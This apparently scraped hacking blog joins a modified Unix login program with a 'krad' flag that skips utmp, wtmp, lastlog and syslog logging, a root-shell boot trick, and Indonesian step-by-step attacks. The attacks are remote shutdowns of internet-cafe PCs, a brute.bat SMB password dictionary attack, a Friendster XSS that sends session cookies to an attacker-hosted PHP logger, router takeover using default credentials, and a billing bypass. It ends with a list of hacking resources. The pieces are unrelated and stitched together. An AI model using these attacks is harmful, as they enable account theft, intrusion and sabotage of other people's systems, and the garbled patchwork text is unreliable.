else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {
ttp = localtime(&pwd->pw_expire);
(void)printf("Warning: your account expires on %s %d, %d\n",
months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);
}

/* nothing else left to fail -- really log in */
{
struct utmp utmp;

memset((char *)&utmp, 0, sizeof(utmp));
(void)time(&utmp.ut_time);
strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));
if (hostname)
strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));
strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));
login(&utmp);
}
#else
/* for linux, write entries in utmp and wtmp */
{
struct utmp ut;
char *ttyabbrev;
int wtmp;

memset((char *)&ut, 0, sizeof(ut));
ut.ut_type = USER_PROCESS;
ut.ut_pid = getpid();
strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line));
ttyabbrev = ttyn + sizeof("/dev/tty") - 1;
strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));
(void)time(&ut.ut_time);
strncpy(ut.ut_user, username, sizeof(ut.ut_user));

/* fill in host and ip-addr fields when we get networking */
if (hostname) {
struct hostent *he;

strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));
if ((he = gethostbyname(hostname)))
memcpy(&ut.ut_addr, he->h_addr_list[0],
sizeof(ut.ut_addr));
}

utmpname(_PATH_UTMP);
setutent();

if(krad == 0)
pututline(&ut);

endutent();

if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {
flock(wtmp, LOCK_EX);

if(krad == 0)
write(wtmp, (char *)&ut, sizeof(ut));

flock(wtmp, LOCK_UN);
close(wtmp);
}
}
/* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */
#endif

if(krad == 0)
dolastlog(quietlog);

#ifndef linux
if (!hflag) { /* XXX */
static struct winsize win = { 0, 0, 0, 0 };

(void)ioctl(0, TIOCSWINSZ, &win);
}
#endif
(void)chown(ttyn, pwd->pw_uid,
(gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);

(void)chmod(ttyn, 0622);
(void)setgid(pwd->pw_gid);

initgroups(username, pwd->pw_gid);

#ifdef HAVE_QUOTA
quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);
#endif

if (*pwd->pw_shell == '\0')
pwd->pw_shell = _PATH_BSHELL;
#ifndef linux
/* turn on new line discipline for the csh */
else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {
ioctlval = NTTYDISC;
(void)ioctl(0, TIOCSETD, &ioctlval);
}
#endif

/* preserve TERM even without -p flag */
{
char *ep;

if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))
termenv = "dumb";
}

/* destroy environment unless user has requested preservation */
if (!pflag)
{
environ = (char**)malloc(sizeof(char*));
memset(environ, 0, sizeof(char*));
}

#ifndef linux
(void)setenv("HOME", pwd->pw_dir, 1);
(void)setenv("SHELL", pwd->pw_shell, 1);
if (term[0] == '\0')
strncpy(term, stypeof(tty), sizeof(term));
(void)setenv("TERM", term, 0);
(void)setenv("USER", pwd->pw_name, 1);
(void)setenv("PATH", _PATH_DEFPATH, 0);
#else
(void)setenv("HOME", pwd->pw_dir, 0); /* legal to override */
if(pwd->pw_uid)
(void)setenv("PATH", _PATH_DEFPATH, 1);
else
(void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);
(void)setenv("SHELL", pwd->pw_shell, 1);
(void)setenv("TERM", termenv, 1);

/* mailx will give a funny error msg if you forget this one */
(void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);
(void)setenv("MAIL",tmp,0);

/* LOGNAME is not documented in login(1) but
HP-UX 6.5 does it. We'll not allow modifying it.
*/
(void)setenv("LOGNAME", pwd->pw_name, 1);
#endif

#ifndef linux
if (tty[sizeof("tty")-1] == 'd')

if(krad == 0)
syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);

#endif
if (pwd->pw_uid == 0)

if(krad == 0)
if (hostname)
syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",
tty, hostname);
else
syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);

if (!quietlog) {
struct stat st;

motd();
(void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);
if (stat(tbuf, &st) == 0 && st.st_size != 0)
(void)printf("You have %smail.\n",
(st.st_mtime > st.st_atime) ? "new " : "");
}

(void)signal(SIGALRM, SIG_DFL);
(void)signal(SIGQUIT, SIG_DFL);
(void)signal(SIGINT, SIG_DFL);
(void)signal(SIGTSTP, SIG_IGN);
(void)signal(SIGHUP, SIG_DFL);

/* discard permissions last so can't get killed and drop core */
if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {
syslog(LOG_ALERT, "setuid() failed");
exit(1);
}

/* wait until here to change directory! */
if (chdir(pwd->pw_dir) < 0) {
(void)printf("No directory %s!\n", pwd->pw_dir);
if (chdir("/"))
exit(0);
pwd->pw_dir = "/";
(void)printf("Logging in with home = \"/\".\n");
}

/* if the shell field has a space: treat it like a shell script */
if (strchr(pwd->pw_shell, ' ')) {
char *buff = malloc(strlen(pwd->pw_shell) + 6);
if (buff) {
strcpy(buff, "exec ");
strcat(buff, pwd->pw_shell);
execlp("/bin/sh", "-sh", "-c", buff, (char *)0);
fprintf(stderr, "login: couldn't exec shell script: %s.\n",
strerror(errno));
exit(0);
}
fprintf(stderr, "login: no memory for shell script.\n");
exit(0);
}

tbuf[0] = '-';
strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?
p + 1 : pwd->pw_shell));

execlp(pwd->pw_shell, tbuf, (char *)0);
(void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));
exit(0);
}

void
getloginname()
{
register int ch;
register char *p;
static char nbuf[UT_NAMESIZE + 1];

for (;;) {
(void)printf("\n%s login: ", thishost); fflush(stdout);
for (p = nbuf; (ch = getchar()) != '\n'; ) {
if (ch == EOF) {
badlogin(username);
exit(0);
}
if (p < nbuf + UT_NAMESIZE)
*p++ = ch;
}
if (p > nbuf)
if (nbuf[0] == '-')
(void)fprintf(stderr,
"login names may not start with '-'.\n");
else {
*p = '\0';
username = nbuf;
break;
}
}
}

void timedout()
{
struct termio ti;

(void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);

/* reset echo */
(void) ioctl(0, TCGETA, &ti);
ti.c_lflag |= ECHO;
(void) ioctl(0, TCSETA, &ti);
exit(0);
}

int
rootterm(ttyn)
char *ttyn;
#ifndef linux
{
struct ttyent *t;

return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);
}
#else
{
int fd;
char buf[100],*p;
int cnt, more;

fd = open(SECURETTY, O_RDONLY);
if(fd < 0) return 1;

/* read each line in /etc/securetty, if a line matches our ttyline
then root is allowed to login on this tty, and we should return
true. */
for(;;) {
p = buf; cnt = 100;
while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;
if(more && *p == '\n') {
*p = '\0';
if(!strcmp(buf, ttyn)) {
close(fd);
return 1;
} else
continue;
} else {
close(fd);
return 0;
}
}
}
#endif

jmp_buf motdinterrupt;

void
motd()
{
register int fd, nchars;
void (*oldint)(), sigint();
char tbuf[8192];

if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)
return;
oldint = signal(SIGINT, sigint);
if (setjmp(motdinterrupt) == 0)
while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
(void)write(fileno(stdout), tbuf, nchars);
(void)signal(SIGINT, oldint);
(void)close(fd);
}

void sigint()
{
longjmp(motdinterrupt, 1);
}

void
checknologin()
{
register int fd, nchars;
char tbuf[8192];

if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {
while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
(void)write(fileno(stdout), tbuf, nchars);
sleepexit(0);
}
}

void
dolastlog(quiet)
int quiet;
{
struct lastlog ll;
int fd;

if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {
(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
if (!quiet) {
if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
ll.ll_time != 0) {
(void)printf("Last login: %.*s ",
24-5, (char *)ctime(&ll.ll_time));

if (*ll.ll_host != '\0')
printf("from %.*s\n",
(int)sizeof(ll.ll_host), ll.ll_host);
else
printf("on %.*s\n",
(int)sizeof(ll.ll_line), ll.ll_line);
}
(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
}
memset((char *)&ll, 0, sizeof(ll));
(void)time(&ll.ll_time);
strncpy(ll.ll_line, tty, sizeof(ll.ll_line));
if (hostname)
strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));
if(krad == 0)
(void)write(fd, (char *)&ll, sizeof(ll));
(void)close(fd);
}
}

void
badlogin(name)
char *name;
{
if (failures == 0)
return;

if (hostname)
syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",
failures, failures > 1 ? "S" : "", hostname, name);
else
syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",
failures, failures > 1 ? "S" : "", tty, name);
}

#undef UNKNOWN
#define UNKNOWN "su"

#ifndef linux
char *
stypeof(ttyid)
char *ttyid;
{
struct ttyent *t;

return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);
}
#endif

void
checktty(user, tty)
char *user;
char *tty;
{
FILE *f;
char buf[256];
char *ptr;
char devname[50];
struct stat stb;

/* no /etc/usertty, default to allow access */
if(!(f = fopen(_PATH_USERTTY, "r"))) return;

while(fgets(buf, 255, f)) {

/* strip comments */
for(ptr = buf; ptr < buf + 256; ptr++)
if(*ptr == '#') *ptr = 0;

strtok(buf, " \t");
if(strncmp(user, buf, 8) == 0) {
while((ptr = strtok(NULL, "\t\n "))) {
if(strncmp(tty, ptr, 10) == 0) {
fclose(f);
return;
}
if(strcmp("PTY", ptr) == 0) {
#ifdef linux
sprintf(devname, "/dev/%s", ptr);
/* VERY linux dependent, recognize PTY as alias
for all pseudo tty's */
if((stat(devname, &stb) >= 0)
&& major(stb.st_rdev) == 4
&& minor(stb.st_rdev) >= 192) {
fclose(f);
return;
}
#endif
}
}
/* if we get here, /etc/usertty exists, there's a line
beginning with our username, but it doesn't contain the
name of the tty where the user is trying to log in.
So deny access! */
fclose(f);
printf("Login on %s denied.\n", tty);
badlogin(user);
sleepexit(1);
}
}
fclose(f);
/* users not mentioned in /etc/usertty are by default allowed access
on all tty's */
}

void
getstr(buf, cnt, err)
char *buf, *err;
int cnt;
{
char ch;

do {
if (read(0, &ch, sizeof(ch)) != sizeof(ch))
exit(1);
if (--cnt < 0) {
(void)fprintf(stderr, "%s too long\r\n", err);
sleepexit(1);
}
*buf++ = ch;
} while (ch);
}

void
sleepexit(eval)
int eval;
{
sleep((unsigned int)5);
exit(eval);
}

So if you really wanna have root access and have access to console, reboot
it (carefully, do a ctrl-alt-del) and at lilo prompt do a :
init=/bin/bash rw (for linux 2.0.0 and above (I think)).

Don't wonder why I was speaking only about rootshell and dhp.com, there are
lots of other very good hacking pages, but these ones are updated very
quickly and besides, are the best pages I know.

So folks, this was it...
First version of my USER's GUIDE 1.0.
Maybe I'll do better next time, and if I have more time, I'll add about
50(more) other exploits, remote ones, new stuff, new techniques, etc...
See ya, folks !
GOOD NIGHT !!! (it's 2.am now).

ARGHHH! I forgot... My e-mail adress is .
(for now).

2009-05-27T13:49:00.001-07:00

kalo kamu merasa bete or bosen ma pelayanan warnet di tempat kamu, padahal udah bayar mahal-mahal buat internetan
di tempat tersebut and di tambah lagi pas enak-enakan internetan, tiba-tiba disconnected...ach damn it!!!
gw mau ngasih solusi buat ngejawab rasa keusilan kamu semua yang emang usil banget

mau tau caranya??read it...!!!

okay, disini lo ga butuh software apapun dalam hal ini...yang lo butuhkan hanyalah sebuah otak yang usil and buat have fun ajah

caranya:
1. Kamu buka komputer, and klik Start->Run...di kotak isian tersebut kamu isikan CMD(Comand Promp)

2. setelah itu muncul kotak berwarna hitam...di situ kamu ketikan SHUTDOWN.EXE (spasi) -i (spasi) -m

3. Contoh: Shutdown.exe -i -m.......lalu kamu tekan Enter

4. maka akan muncul kotak di samping yang bernama "Remote Shutdown Dialog"

5. Kamu klik "ADD" -> untuk menambahkan IP target or nama target di LAN...or kamu klik "Browse" untuk mencari otomatis

6. Kamu bisa tentuin yang enaknya buat ngusilin komputer orang itu, apakah di shutdown, restart, or Log off...

7. Tentukan time yang pas buat deat time-nya komputer itu beraksi

8. kamu bisa tambakan other (planned), ini dimaksudkan agar si user lawan mengira kalo ini ulah server yang lagi maintenance

9. Kirim kan pesan kematian mu ke komputer orang di COMMENT

10. Tertawalah yang puas melihat orang lain kebingungan..hahahahahahahahaha

Pesan dari gw:
1. Kalo kamu mau usilin komputer orang via LAN, liat dulu orangnya...jangan nanti ABRI lagi megang senjata kamu usilin,,bisa mati lo ditembak..kwkwkwkkw
2. Ini sifatnya buat usil, kalo ntar kamu di usilin juga jangan marah yach...
3. Ini paling penting lo inget...sebab dalah hal ini, IP kamu or nama kamu bakal terlihat di comment kematian kamu...karena dari sana terdapat IP addres kmu...jadi gw saranin, begitu komputer itu mati lo buru-buru kabur dah.soal na kamu bakalan di jitak ma dia...wkwkkwkkwkw
4. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu
5. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^
6. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^

Hacking LAN versi terbaru

2009-05-27T13:48:00.001-07:00

Port 139 merupakan port yang di gunakan windows dalam sistem jaringan komputernya dengan menjalankan Netbios (Network Basic Input Output System). User yang bisa mengenali dan memanfaatkan port tersebut, akan bisa menggali informasi detail mengenai data jaringan termasuk password folder yang di share serta password administrator.

Kita akan menggunakan program berekstensi bat yang dibuat dari notepad bernama Brute.bat. Sebelumnya, perlu di buat pula beberapa file berektensi txt yakni passlist.txt, logfile.txt dan output.txt. Untuk 2 file terakhir, tidak perlu di isi alias di kosongkan saja. Sedangkan passlist.txt harus di isi dengan kosa kata perkiraan password admin. Tuliskan secara berurutan mulai nama, nama anak, istri, pacar, tangal lahir, tempat bekerja, makanan favouritnya serta semua hal yang di perkirakan sebagai password admin. Di dunia underground, file passlist.txt ini di kenal dengan istilah Dictionary Attack atau kamus serangan.

Teknik menebak password seperti ini memang tergolong memakan waktu lebih lama. Namun, jika di lakukan secara sabar, apalagi di dorong oleh rasa jengkel pada admin, maka semuanya menjadi terasa ringan.

Untuk membuat file brute.bat copykan kode berikut ini

@echo off
if “%1?==”” goto fin
if “%2?==”” goto fin
del logfile.txt
FOR /F “tokens=1? %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1\ipc$ %%i /u:%1\%2 2>>logfile.txt && ^
echo %time% %date% >> outfile.txt && ^
echo \\%1\ipc$ acct: %2 pass: %%i >> output.txt && goto end
:fin
echo

Sekarang coba anda masuk ke menu Command Prompt melalui tombol Start -> Run ketik cmd. Lalu masuk ke folder tempat file ketiga file tersimpan. jalankan program Brute.bat dengan mengetik Brute . Contoh, Brute 192.169.21.02 Administrator. Untuk mengetahui IP Address admin, download program imaniac di bawah.Imaniac adalah software pencari IP Address pada komputer yang terhubung dengan jaringan. Atau cari aja softwarenya di Mbah Google

Mencegah Pencurian Password Admin LAN

Untuk mengantisipasi serangan Dictionary Attack, administrator hendaknya membuat password yang kuat dan sulit di tebak melalui kombinasi huruf-angka serta sejumlah karakter lainnya. Di samping itu, perlu juga menonaktifkan menu Command Prompt agar tidak mudah di akses oleh user yang usil. Karena dari mene inilah aktifitas hacking di lakukan seperti Netbios dan lain-lain. Caranya, melalui tombol Start -> Run, ketik gpedit.msc, lalu tekan ENTER. Setelah masuk jendela Group Editor Policy Window, pilih User Configuration -> Administrative Templates -> System ->. Pada jendela sebelah kanan, cari Prevent Access To The Command Prompt lalu double klik. Setelah itu, klik Enable -> Apply -> Ok -> kemudian Restart computer.

semoga bermanfaat

hacking FS

2009-05-27T13:47:00.002-07:00

Syarat yang Di Perlukan:
Quote:

1.Punya Browser Mozzilla Firefox Dengan Add-On Cookie Editor!!
Kalo Belom Punya Klik Di searching google

2.Webhosting Untuk Penyimpanan Cookies Dan Code!!
Example:
http://www.ripway.com/ atau http://www.ifastnet.com Dan LAin2!!

3.Punya Account FriendSter Tentunya!!
Very Happy Very Happy Very Happy Very Happy Very Happy
Langkah-Langkahnya adalah:
1.Buat c.php
Code:
=======================================================================
$cookie = $_GET['c'];
$id = $_GET['ses'];
$ip = getenv ('REMOTE_ADDR');

if(strstr($cookie, "mac")){
$fl = fopen('lastkukis.txt', 'r');
$buftxt = fgets($fl);
fclose($fl);
if($cookie!=$buftxt)
{
$date=date("dmy.g:ia");
$fl = fopen('logkukis.txt', 'a');
fwrite($fl, "\n".$ip.';;'.$id.';;'.$date."\n".$cookie."\n");
fclose($fl);
$fl = fopen('lastkukis.txt', 'w');
fwrite($fl, $cookie);
fclose($fl);
}
}
echo "";
?>
===================================================================================

2.Buat File Dengan Nama super.js Yang Isinya:

========================================================================================
if (pageViewerID!=""){
var c=fgetCookie("friendster_auth");
if (c!="")setTimeout("window.location.href='http://URLWEBHOSTING/c.php?
c='+escape(c)+'&ses='+escape(pageViewerFName)+'~'+pageViewerID+'~@'+pageOwnerID", 8000);}
============================================================================================
===================================
JANGAN LUPA DI GANTI YANG SAYA tebal!!
===================================

3.Dan Langkah Terakhir adalah Letakkan
Code INI:
======================================================================================
&#x3c;script type="text/javascript" src="http://URLWEBHOSTING/super.js" &#x3e;&#x3c;/script>

======================================================================================
ATAU
========================================================================================

<script type='text/javascript' src='http://URLWEBHOSTING/super.js'></script>

===============================================================================================

=============================================
&>lt;script src="URL_OF_JS"&>gt;&>lt;/script&>gt;

=============================================

Nah....Klo Udah Dapet!!
Kamu Buka Link Ini:
ENCODER - http://h1.ripway.com/supermanreturns/Friendster/Encoder.php

Nah Setelah Itu Buka Cookie Editor Di Mozilla Dengan Cara:
Tools >>> Cookie Editor>>> ADD!!

ISI Dari Kolom Kosong Tersebut:
Name : friendster_auth
Content : hasil Encoder
Host : www.friendster.com
Path : /

EXPIRES: NEW EXPIRATION DATE
Exclamation TAMBAHKAN NILAI TAHUN SAJA Dari 2007 Menjadi 2009 Atau 2015 Exclamation

Setelah Itu SAVE Dan Refresh friendSter-Nya

Semoga BerhasiL Exclamation Exclamation Exclamation
Very Happy Very Happy Very Happy Wink Wink

Thanks......By : JayZhi

Hacking Disconnected network warnet

2009-05-27T13:47:00.001-07:00

anda merasa dendam dengan warnet yang anda benci??anda merasa tidak puas dengan pelayanan warnet tersebut??
anda merasa sudah di bohongin dengan tarif yang mahal sangad di warnet yang anda gunakan??
anda jengah dengan operator warnet di sana??anda ingin berniat usil..??

Read It...

pertama sich, gw fikir gimana yach caranya biar tuh warnet menderita...sementara tuh operator belagu and sering ngeceing gw trus..
trus gw merasa jengah sama tuh operator warnet...udah banyak bacod, tapi otak kaga ada...

sorry nich gw jadi curhat...tapi itu latar belakang gw buat nulis ini...sorry buat para operator dungu, kepaksa kao harus banyak belajar dolo gich sono

okay..to do point ajah dech demi melampiaskan keusilan gw...

caranya:
1. kamu ga butuh software tambahan kox dalam hal ini, yang kamu butuhkan hanya strategi ajah buat kabur dengan santai...simple kan

2. Kamu hanya butuh mozilla firefox, IE, Opera or apa aja dech...soal na itu ga begitu ngaruh...tapi gw saranin lo gunain IE (Internet Explorer)..and jalankan program itu

3. Setelah jalan program Internet explorer na, kamu lihat pada bagian atas yang terdapat pada kolom address...

4. Di sana kan masih kosong, yang bertuliskan About:blank...kamu isikan IP modem or ADSL warnet tersebut...

5. Contoh yang gw ambil di warnet yang gw usilin: 192.168.1.1

6. Kamu isi di kolom itu dengan : 192.168.1.1 Enter

7. Maka kamu akan di bawa ke dalam modem or ADSL tersebut...tenang ajah, dalam hal ini kamu ga usah panik bakal ketahuan...gw JAMIN 99% deh, and 1% na tergantung kamu

8. Nanti kamu akan diminta userID and password na...tenang ajah, hampir semua default user and password na itu.: User: admin paswword: admin

9. And welcome di dalam modem or ADSL warnet tersebut...tapi tujuan kita ga hanya sampai di sana saja, karena tujuan kita mulia yaitu buat operator sengsara....hahahahhahahaha

10. Cari dan temukan atau biasanya Kamu bakal melihat langsung LAN IP, subnet mask, default gateway and DNS di sana...Inget, itu target utama kita...

11. contoh LAN IP: 192.168.1.2 subnet mask:255.255.255.255 default gateway:192.168.1.1

12. Ubah semua itu menjadi 0 semua...contoh: LAN IP: 000.000.0.0 Subnet Mask:000.000.000.000 default gateway:000.000.0.0 atau terserah kamu mau di ubah kaya gimana...

13. Selanjutnya kamu Cari dan temukan create new password...ini gunanya agar password na kita ubah, and hanya kita saja yang tahu akan password tersebut

14. SAVE and exit

15. Buat mastiin ajah kalo kerja kamu bersih and biar ga ketahuan, kamu WAJIB delete Cookies and clear History...caranya: TOOLs->internet options..->General........nah di sana kamu hapus "DELETED COOKIES" dan "CLEAR HISTORY"

Pesan dari Gw:
1. Ini bukan untuk serius, ini hanya untuk fun ajah loch...pokoknya gw sebagai penulis ga bertanggung jawab atas kesalah gunaan ini
2. Sebelum masuk pintu warnet, jangan pasang wajah serius or tampang marah yach...pokok na inget ajah dah, SELALU PASANG TAMPANG BEGO dan DONGO...hahahahahahaha
3. Pastikan warnet or jaringan dalam keadaan online, ini bertujuan agar hasil yang kamu kerjakan langsung terlihat dengan melihat wajah si operator yang mendadak kebingungan karena tiba-tiba disconnected
4. Banyak-banyak berdoa yach semoga sajah USER ID dan PASSWORD modem or ADSL na belum di ganti
5. Password yang tadi kamu ganti, jangan sampai lupa...n kalo kamu mau main lagi kan tinggal kamu setting awal aja seperti tadi
6. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu
7. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^
8. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe
9. Lakukan ini dengan bijak seperti kata BANG NAPI..."INGAT KEJAHATAN OR KEUSILAN BISA TERJADI KAPAN SAJA DAN DIMANA SAJA TANPA KENAL PELAKUNYA...WASPADALAH!!!WASPADALAH"....wkwkkwkwkwkwkkwk

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^

Hacking Billing explorer (dijamin gratis)

2009-05-27T13:46:00.001-07:00

Hacking Billing explorer (dijamin gratis)

internetan gratis di warnet??wah gimana caranya ya??
kox bisa yach internetan gratis dengan billing explorer, padahal itu kan hampir ga mungkin terjadi..bagamana caranya tuh??

gw yakin pasti pertanyaan itu langsung ada di otak kamu pada setelah baca judul di atas, and gw pun awal na ga yakin bakal bisa
tapi setelah gw coba...wow...free man, alias gratis total..

mau tau caranya gimana??...read it

langkah2-nya
1. kamu harus download ni software di komputer mu or client di warnet...yang namanya billhack..tinggal klik Download

2. kamu jalankan program ini...tenang ajah sob, ga pake nginstall segala kox (gapake ribet)

3. kamu wajib tau IP(internet protocol) or name server-nya and port si server...

4. kalo kamu udah tau alamat IP and portnya...buka software billhack

5. di sini kamu bisa memilih, mau kamu ajah yang gratisan (single client) or semua user bisa ngerasain hasil jerih payah lo (all client)

6. kamu pilih salah satu dari pilihan itu...and lo isi di server IP / name dan port-nya

7. ni gw kasih contoh terakhir...

contoh: Server IP/name : 192.168.1.1
port : 1500

8. kamu klik connect dech...dan lihat hasil kerja kamu, hasil dapat di lihat di billing kamu....gratis loch..

pesan dari gw:

1. sebelum kamu masuk ke warnet, pasang tampang bego...kalo perlu super dongo, soal na takut ketahuan
2. jangan terlihat tergesa-tergesa, b`coz bakal di kirain maling loch nantinya...
3. kamu login ajah seperti biasa
4. ini buat have fun ajah kox, jangan di pake sering-sering yach...kasihan tuh warnet-nya ga dapet duit gara-gara kerjaan keusilan kamu
5. gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^
6. kalo kamu ketahuan sama OP(operator) na, kalo masalah ini jangan bawa-bawa nama gw loch...hehehehehe

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

2009-05-27T13:45:00.001-07:00

II. REFERENCE

A. Hacking and phreaking W.W.W. pages
B. Good hacking and phreaking text files
C. Hacking and phreaking Newsgroups
D. Rainbow Books
E. Hacking and phreaking magazines
F. Hacking and phreaking movies
G. Hacking and phreaking Gopher sites
H. Hacking and phreaking Ftp sites
I. Hacking and phreaking BBS's
J. Cool hackers and phreakers
K. Hacker's Manifesto
L. Happy hacking!

III. REFERENCE

A. Hacking and phreaking WWW. sites

Here is a list of some World Wide Web sites that contain hacking, phreaking, computer, virus, carding, security, etc. material:

Site Address:

http://www.outerlimits.net/lordsome/index.html (Hacker's Layer)
http://web2.airmail.net/km/hfiles/free.htm (Hacker's Hideout)
http://resudox.net/bio/novell.html
http://www.louisville.edu/wrbake01/hack2.html
http://www.intersurf.com/~materva/files.html
http://hightop.nrl.navy.mil/rainbow.html
http://www.rit.edu/~jmb8902/hacking.html
http://www.spatz.com/pecos/index.html
http://pages.prodigy.com/FL/dtgz94a/files2.html
http://www.2600.com (alt.2600)
http://att.net/dir800
http://draco.centerline.com:8080/~franl/crypto.html
http://everest.cs.ucdavis.edu/Security.html
http://ice-www.larc.nasa.gov/WWW/security.html
http://lOpht.com (lOpht)
http://lOpht.com/~oblivion/IIRG.html
http://underground.org
http://www.alw.nih.gov/WWW/security.html
http://www.aspentec.com/~frzmtdb/fun/hacker.html
http://www.cis.ohi-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
http://www.cs.tufts.ed/~mcable/cypher/alerts/alerts.html
http://www.engin.umich.edu/~jgotts/underground/boxes.html
http://www.etext.org/Zines
http://www.inderect.com/www/johnk/
http://www.mgmua.com/hackers/index.html
http://www.paranoia.com/mthreat
http://www.paranoia.com/astrostar/fringe.html
http://www.umcc.umich.edu/~doug/virus-faq.html
http://www.wired.com

B. Good hacking and phreaking text files

All of these files are available by download from the Internet.

File Name:

A Novice's Guide To Hacking

Alt.2600 Hack Faq

The Hacker's Handbook

The Official Phreaker's Manual

Rainbow Books (Listed in Section D.)

The Hacker Crackdown

Computer Hackers: Rebels With A Cause

The Legion Of Doom Technical Journals

The Ultimate Beginner's Guide To Hacking And Phreaking (Of course!)

C. Hacking and phreaking Newsgroups

alt.2600
alt.2600.hope.tech
alt.cellular
alt.cellular-phone-tech
alt.comp.virus
alt.cracks
alt.cyberpunk
alt.cyberspace
alt.dcom.telecom
alt.fan.lewiz
alt.hackers
alt.hackintosh
alt.hackers.malicious
alt.security

D. Rainbow Books

The Rainbow Books are a series of government evaluations on various things related to computer system security. You can get all of the existing Rainbow Books free and if you ask to be put on their mailing list you will get each new one as it comes out. Just write to the address or call the number below:

Infosec Awareness Division
ATTN: x711/IAOC
Fort George G. Meade, MD 20755-6000

or call:
(410)766-8729

Here is the list of all the Rainbow Books and their descriptions:

Color: Description:

Orange 1 D.O.D. Trusted Computer Systems

Green D.O.D. Password Management

Yellow Computer Security Requirements

Yellow 2 Computer Security Requirements

Tan Understanding Audit In Trusted Systems

Bright Blue Trusted Product Evaluation

Neon Orange Understanding Discretionary Access

Teal Green Glossary Of Computer Terms

Orange 2 Understanding Configurations

Red Interpretation Of Evaluation

Burgundy Understanding Design Documentation

Dark Lavender Understanding Trusted Distrobution

Venice Blue Computer Security Sub-Systems

Aqua Understanding Security Modeling

Dark Red Interpretations Of Environments

Pink Rating Maintenence Phase

Purple Formal Verification Systems

Brown Understanding Trusted Facilities

Yellow-Green Writing Trusted Facility Manuals

Light Blue Understanding Identification And Authentication In Trusted Systems

Blue Product Evaluation Questionaire

Gray Selecting Access Control List

Lavander Data Base Management Interpretation

Yellow 3 Understanding Trusted Recovery

Bright Orange Understanding Security Testing

Purple 1 Guide To System Procurement

Purple 2 Guide To System Procurement

Purple 3 Guide To System Procurement

Purple 4 Guide To System Procurement

Green Understanding Data Remanence

Hot Peach Writing Security Features

Turquiose Understanding Information Security

Violet Controlled Access Protection

Light Pink Understanding Covert Channels

E. Cool hacking and phreaking magazines

Phrack Magazine

2600 Magazine

Tap Magazine

Phantasy Magazine

F. Hacking and phreaking movies

Movie:

Hackers

War Games

G. Hacking and phreaking Gopher sites

Address:

ba.com
csrc.ncsl.nist.gov
gopher.acm.org
gopher.cpsr.org
gopher.cs.uwm
gopher.eff.org
oss.net
spy.org
wiretap.spies.com

H. Hacking and phreaking Ftp sites

Address:

2600.com
agl.gatech.edu/pub
asylum.sf.ca.us
clark.net/pub/jcase
ftp.armory.com/pub/user/kmartind
ftp.armory.com/pub/user/swallow
ftp.fc.net/pub/defcon/BBEEP
ftp.fc.net/pub/phrack
ftp.giga.or.at/pub/hacker
ftp.lava.net/users/oracle
ftp.microserve.net/ppp-pop/strata/mac
ftp.near.net/security/archives/phrack
ftp.netcom.com/pub/br/bradelym
ftp.netcom.com/pub/daemon9
ftp.netcom.com/pub/zz/zzyzx
ftp.primenet.com/users/k/kludge

